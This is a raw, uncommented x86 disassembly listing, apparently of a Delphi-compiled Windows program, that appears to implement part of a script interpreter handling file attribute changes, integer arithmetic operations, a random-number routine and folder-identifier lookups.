mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22f8]
call fcn.0040b328
sub eax, 1
jb 0x5a8b31
je 0x5a8bc5
dec eax
je 0x5a8c90
dec eax
je 0x5a8cff
jmp 0x5a8d70
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 0
je 0x5a8b57
mov eax, dword [ebp - 0x794]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x794], eax
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x638], eax
push 1
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7f4
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jne 0x5a8d70
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 0
je 0x5a8bb3
mov eax, dword [ebp - 0x798]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x630], eax
jmp 0x5a8d70
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0
je 0x5a8beb
mov eax, dword [ebp - 0x79c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x79c], eax
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 0
je 0x5a8c1d
mov eax, dword [ebp - 0x7a0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0
jle 0x5a8c6c
cmp dword [ebp - 0x630], 0
jne 0x5a8c5d
mov eax, dword [ebp - 0x634]
push eax
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7f4
mov dword [ebp - 0x630], eax
dec dword [ebp - 0x634]
cmp dword [ebp - 0x634], 0
jg 0x5a8c32
cmp dword [ebp - 0x630], 0
jne 0x5a8d70
mov dword [ebp - 0x630], 1
xor eax, eax
mov dword [ebp - 0x638], eax
jmp 0x5a8d70
xor eax, eax
push ebp
push 0x5a8ceb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b328
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jne 0x5a8cde
mov dword [ebp - 0x630], 1
mov dword [ebp - 0x63c], 1
mov dword [ebp - 0x638], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8d70
xor eax, eax
push ebp
push 0x5a8d5e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x63c], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x7a4], eax
cmp dword [ebp - 0x7a4], 0
je 0x5a8d3b
mov eax, dword [ebp - 0x7a4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b328
mov edx, dword [ebp - 0x7a4]
sub edx, eax
mov dword [ebp - 0x630], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8d70
cmp dword [ebp - 0x630], 0
jne 0x5a8d94
lea eax, [ebp - 0x3fc]
call fcn.00405a98
lea eax, [ebp - 0x400]
call fcn.00405a98
jmp 0x5a8ea9
lea eax, [ebp - 0x2304]
push eax
lea ecx, [ebp - 0x2308]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2308]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2304]
lea edx, [ebp - 0x2300]
call fcn.005939c8
mov eax, dword [ebp - 0x2300]
lea edx, [ebp - 0x404]
call fcn.0058ff30
lea eax, [ebp - 0x2310]
push eax
lea ecx, [ebp - 0x2314]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2314]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2310]
lea edx, [ebp - 0x230c]
call fcn.005939c8
mov eax, dword [ebp - 0x230c]
lea edx, [ebp - 0x408]
call fcn.0058ff30
lea eax, [ebp - 0x3fc]
push eax
mov ecx, dword [ebp - 0x630]
sub ecx, dword [ebp - 0x63c]
mov edx, 1
mov eax, dword [ebp - 0x404]
call fcn.00405f90
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0
je 0x5a8e85
mov eax, dword [ebp - 0x7a8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x7a8], eax
lea eax, [ebp - 0x400]
push eax
mov edx, dword [ebp - 0x630]
add edx, dword [ebp - 0x638]
mov ecx, dword [ebp - 0x7a8]
mov eax, dword [ebp - 0x404]
call fcn.00405f90
lea eax, [ebp - 0x2318]
push eax
lea ecx, [ebp - 0x231c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x231c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2318]
call fcn.005936d4
test al, al
je 0x5a8f2e
lea edx, [ebp - 0x2320]
mov eax, dword [ebp - 0x3fc]
call fcn.0040ac80
mov edx, dword [ebp - 0x2320]
lea eax, [ebp - 0x3fc]
call fcn.00405b30
lea edx, [ebp - 0x2324]
mov eax, dword [ebp - 0x400]
call fcn.0040ac80
mov edx, dword [ebp - 0x2324]
lea eax, [ebp - 0x400]
call fcn.00405b30
cmp dword [ebp - 0x3c4], 0
je 0x5a8f77
lea edx, [ebp - 0x2328]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x2328]
push eax
lea eax, [ebp - 0x232c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x232c]
mov edx, dword [ebp - 0x3fc]
pop eax
call fcn.0059002c
cmp dword [ebp - 0x3c8], 0
je 0x5a8fc0
lea edx, [ebp - 0x2330]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x2330]
push eax
lea eax, [ebp - 0x2334]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2334]
mov edx, dword [ebp - 0x400]
pop eax
call fcn.0059002c
mov eax, dword [ebp - 0x438]
mov edx, 0x5af90c
call fcn.00405ec0
jne 0x5a945e
xor eax, eax
push ebp
push 0x5a9457
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x233c]
push eax
lea ecx, [ebp - 0x2340]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2340]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x233c]
lea edx, [ebp - 0x2338]
call fcn.005939c8
mov eax, dword [ebp - 0x2338]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x2344]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2344]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3c4]
call fcn.005b0140
test al, al
jne 0x5a90ba
lea edx, [ebp - 0x2348]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x2348]
push eax
lea eax, [ebp - 0x234c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x234c]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x2350]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2350]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c8], 0
je 0x5a9140
mov eax, dword [ebp - 0x3c8]
call fcn.005b0140
test al, al
jne 0x5a9140
lea edx, [ebp - 0x2354]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x2354]
push eax
lea eax, [ebp - 0x2358]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2358]
xor edx, edx
pop eax
call fcn.0059002c
mov byte [ebp - 0x675], 0
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5af928
call fcn.00406074
dec eax
jne 0x5a9176
lea eax, [ebp - 0x3c0]
mov ecx, 9
mov edx, 1
call fcn.00405fd0
mov byte [ebp - 0x675], 1
lea edx, [ebp - 0x235c]
mov eax, dword [ebp - 8]
call fcn.0040abe4
mov eax, dword [ebp - 0x235c]
push eax
lea edx, [ebp - 0x2360]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x2360]
pop eax
call fcn.00405ec0
je 0x5a928b
xor eax, eax
push ebp
push 0x5a91d9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
lea eax, [ebp - 8]
call fcn.00405a98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a91eb
xor eax, eax
push ebp
push 0x5a9235
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d5eec]
mov byte [eax], 0
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x1d4]
call fcn.004039a4
lea eax, [ebp - 0x1d4]
call fcn.00403728
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x3c0]
call fcn.00405b30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a928b
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
jne 0x5a939e
cmp byte [ebp - 0x675], 0
je 0x5a9355
lea eax, [ebp - 0x3bc]
call fcn.00405a98
jmp 0x5a9317
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f9c
lea eax, [ebp - 0x1d4]
call fcn.00404008
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a92f6
lea eax, [ebp - 0x3bc]
mov edx, dword [ebp - 0x3b4]
call fcn.00405d64
jmp 0x5a9317
push dword [ebp - 0x3bc]
push dword [ebp - 0x3b4]
push 0x5af93c
lea eax, [ebp - 0x3bc]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a92b8
lea eax, [ebp - 0x2368]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2368]
mov edx, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x3c4]
call fcn.00590064
jmp 0x5a939e
lea edx, [ebp - 0x3b4]
lea eax, [ebp - 0x1d4]
call fcn.00403f9c
lea eax, [ebp - 0x1d4]
call fcn.00404008
lea eax, [ebp - 0x236c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x236c]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c4]
call fcn.00590064
lea eax, [ebp - 0x1d4]
call fcn.00403cf0
test al, al
je 0x5a93f4
lea eax, [ebp - 0x3b4]
mov edx, 0x5ae048
call fcn.00405b30
lea eax, [ebp - 8]
call fcn.00405a98
xor eax, eax
push ebp
push 0x5a93e8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9404
lea eax, [ebp - 0x3b4]
mov edx, 0x5adf0c
call fcn.00405b30
cmp dword [ebp - 0x3c8], 0
je 0x5a943a
lea eax, [ebp - 0x2370]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2370]
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3c8]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af950
call fcn.00405ec0
jne 0x5a96bf
xor eax, eax
push ebp
push 0x5a96b8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x2378]
push eax
lea ecx, [ebp - 0x237c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x237c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2378]
lea edx, [ebp - 0x2374]
call fcn.005939c8
mov eax, dword [ebp - 0x2374]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
lea eax, [ebp - 0x2380]
push eax
lea ecx, [ebp - 0x2384]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2384]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2380]
lea edx, [ebp - 0x3c4]
call fcn.005939c8
lea edx, [ebp - 0x2388]
mov eax, dword [ebp - 8]
call fcn.0040abe4
mov eax, dword [ebp - 0x2388]
push eax
lea edx, [ebp - 0x238c]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x238c]
pop eax
call fcn.00405ec0
jne 0x5a957f
xor eax, eax
push ebp
push 0x5a9575
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.00403b4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a957f
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x62c], eax
xor eax, eax
push ebp
push 0x5a95ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x62c]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a95cf
lea eax, [ebp - 0x2394]
push eax
lea ecx, [ebp - 0x2398]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2398]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2394]
lea edx, [ebp - 0x2390]
call fcn.005939c8
mov eax, dword [ebp - 0x2390]
call fcn.005936d4
test al, al
je 0x5a9636
mov ecx, dword [ebp - 0x3c4]
xor edx, edx
mov eax, dword [ebp - 0x62c]
mov ebx, dword [eax]
call dword [ebx + 0x60]
jmp 0x5a9647
mov edx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x62c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x80
mov eax, dword [ebp - 0x3c0]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
push ebp
push 0x5a9686
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x62c]
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9690
mov eax, dword [ebp - 0x62c]
call fcn.00404b38
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af96c
call fcn.00405ec0
jne 0x5a9c73
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x239c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x239c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a9752
lea edx, [ebp - 0x23a0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x23a0]
push eax
lea eax, [ebp - 0x23a4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23a4]
xor edx, edx
pop eax
call fcn.0059002c
xor eax, eax
push ebp
push 0x5a9c28
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x23a8]
push eax
lea ecx, [ebp - 0x23ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23ac]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23a8]
call fcn.0040b39c
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], edx
cmp dword [ebp - 0x584], 0
jne 0x5a97b9
cmp dword [ebp - 0x588], 0xb
je 0x5a9815
lea eax, [ebp - 0x23b4]
push eax
lea ecx, [ebp - 0x23b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23b8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23b4]
lea edx, [ebp - 0x23b0]
call fcn.005939c8
mov eax, dword [ebp - 0x23b0]
call fcn.0040b39c
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], edx
cmp dword [ebp - 0x584], 0
jne 0x5a9829
cmp dword [ebp - 0x588], 0xa
jb 0x5a983d
jmp 0x5a982b
jl 0x5a983d
cmp dword [ebp - 0x584], 0
jne 0x5a9897
cmp dword [ebp - 0x588], 0xd
jne 0x5a9897
lea eax, [ebp - 0x23c0]
push eax
lea ecx, [ebp - 0x23c4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23c4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23c0]
lea edx, [ebp - 0x23bc]
call fcn.005939c8
mov eax, dword [ebp - 0x23bc]
call fcn.0040b39c
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], edx
mov eax, dword [ebp - 0x588]
cmp eax, 0xf
ja case.default.0x5a98a6
jmp dword [eax*4 + 0x5a98ad]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
add eax, dword [ebp - 0x580]
adc edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
sub eax, dword [ebp - 0x580]
sbb edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
push dword [ebp - 0x57c]
push dword [ebp - 0x580]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406da0
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
push dword [ebp - 0x57c]
push dword [ebp - 0x580]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406dc4
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
push dword [ebp - 0x57c]
push dword [ebp - 0x580]
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406ea4
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
and eax, dword [ebp - 0x580]
and edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
or eax, dword [ebp - 0x580]
or edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
xor eax, dword [ebp - 0x580]
xor edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x580]
mov ecx, eax
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406f70
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x580]
mov ecx, eax
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
call fcn.00406f90
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
not eax
not edx
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
lea eax, [ebp - 0x23cc]
push eax
lea ecx, [ebp - 0x23d0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23d0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23cc]
lea edx, [ebp - 0x23c8]
call fcn.005939c8
mov eax, dword [ebp - 0x23c8]
movzx eax, byte [eax]
movzx eax, al
xor edx, edx
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov edx, eax
lea eax, [ebp - 0x3c0]
call fcn.00405c80
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov dword [0x5dccac], eax
mov eax, dword [ebp - 0x580]
mov dword [0x5dccb0], eax
mov eax, dword [ebp - 0x578]
mov edx, dword [ebp - 0x574]
add eax, dword [ebp - 0x580]
adc edx, dword [ebp - 0x57c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [ebp - 0x578]
mov dword [0x5dccb4], eax
mov eax, dword [0x5dccb4]
cdq
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
jmp case.default.0x5a98a6
mov eax, dword [0x5dccac]
imul dword [0x5dccb4]
add eax, dword [0x5dccb0]
cdq
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
push 0
push 0x7fff
mov eax, dword [ebp - 0x590]
mov edx, dword [ebp - 0x58c]
call fcn.00406ea4
mov dword [0x5dccb4], eax
push dword [ebp - 0x574]
push dword [ebp - 0x578]
mov eax, dword [ebp - 0x590]
mov edx, dword [ebp - 0x58c]
call fcn.00406ea4
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], edx
cmp dword [ebp - 0x584], 0
jne 0x5a9c05
cmp dword [ebp - 0x588], 0xc
je 0x5a9c1e
push dword [ebp - 0x58c]
push dword [ebp - 0x590]
lea eax, [ebp - 0x3c0]
call fcn.0040b2d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a9c3d
cmp dword [ebp - 0x3b0], 0
je 0x5a9c73
lea eax, [ebp - 0x23d4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23d4]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
mov eax, dword [ebp - 0x438]
mov edx, 0x5af980
call fcn.00405ec0
jne 0x5aa5a9
xor eax, eax
push ebp
push 0x5aa5a2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x23d8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23d8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a9d1e
lea edx, [ebp - 0x23dc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x23dc]
push eax
lea eax, [ebp - 0x23e0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x23e0]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x23e4]
push eax
lea ecx, [ebp - 0x23e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23e8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23e4]
call fcn.005936d4
mov byte [ebp - 0x595], al
lea eax, [ebp - 0x23ec]
push eax
lea ecx, [ebp - 0x23f0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x23f0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x23ec]
call fcn.0040b328
cmp eax, 0x1b
ja case.default.0x5a9da7
jmp dword [eax*4 + 0x5a9dae]
mov dword [ebp - 0x564], 0x20
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x21
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9e54
mov dword [ebp - 0x564], 0x2e
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 5
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9e7b
mov dword [ebp - 0x564], 0x1f
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 6
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9ea2
mov dword [ebp - 0x564], 0x35
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xd
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9ec9
mov dword [ebp - 0x564], 0x36
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x27
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9ef0
mov dword [ebp - 0x564], 0x37
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xe
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x13
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x1b
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058acc8
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xffffffff
lea eax, [ebp - 0x3c0]
call fcn.0058ac00
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9f69
mov dword [ebp - 0x564], 0x2f
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x30
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9f90
mov dword [ebp - 0x564], 0x16
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0xb
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9fb7
mov dword [ebp - 0x564], 0x18
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 7
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5a9fde
mov dword [ebp - 0x564], 0x17
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 2
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5aa005
mov dword [ebp - 0x564], 0x23
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x1a
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x3b
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5aa03b
mov dword [ebp - 0x564], 0x19
jmp case.default.0x5a9da7
xor eax, eax
mov dword [ebp - 0x564], eax
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x14
jmp case.default.0x5a9da7
cmp byte [ebp - 0x595], 0
je 0x5aa06f
mov dword [ebp - 0x564], 0x3e
jmp case.default.0x5a9da7
mov dword [ebp - 0x564], 0x28
jmp case.default.0x5a9da7
